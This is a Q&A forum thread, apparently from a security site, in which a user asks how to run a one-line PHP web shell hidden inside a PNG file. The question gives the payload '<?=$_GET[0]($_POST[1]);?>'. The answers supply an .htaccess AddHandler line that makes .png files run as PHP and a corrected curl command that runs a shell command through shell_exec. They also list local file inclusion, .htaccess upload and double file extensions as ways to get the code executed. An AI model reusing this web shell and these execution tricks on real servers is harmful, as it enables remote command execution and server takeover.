0

I'm doing some testing on executing remote PHP via PHP hidden inside a PNG file. I've got a PNG file on my server with the following PHP code stored inside the PNG file.

<?=$_GET[0]($_POST[1]);?> 

The idea being is that I pass a GET request with shell_exec OR exec function, followed by POST data 1 = the command to run.

I have been trying to use curl without success. I keep getting HTTP/1.1 404 not found.

curl http://192.168.0.6/phppng.png?0=shell_exec' -i -d "1=id"

Any ideas what can I use to send the GET request and include the POST data?

  • The PHP handler won't launch if the file extension is .png. – Polynomial May 11 '16 at 8:55
  • There is a legacy nginx misconfiguration which resulted in some non-PHP files being passed through the interpreter, although this has not applied to new installs for several years now. – Matthew May 11 '16 at 8:59
3

First of all, make sure that your webserver knows that it has to interpret PNG file as PHP. You need to add this to your .htaccess file.

AddHandler application/x-httpd-php .png

or

AddHandler application/x-httpd-php5 .png

Otherwise, it won't execute the PHP code.

Second, there's a syntax error in your curl request. You're missing a quote.

Try this:

curl -i -X POST "http://127.0.0.1/phppng.png?0=shell_exec" -d "1=id"
1

Files ending in .png will not execute php code even if they contain php code. You can however execute this code either through a LFI or by uploading a .htaccess file which will add a php handler for .png or in the case of Apache you could use a double file extansion, ie: phppng.php.phppng.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.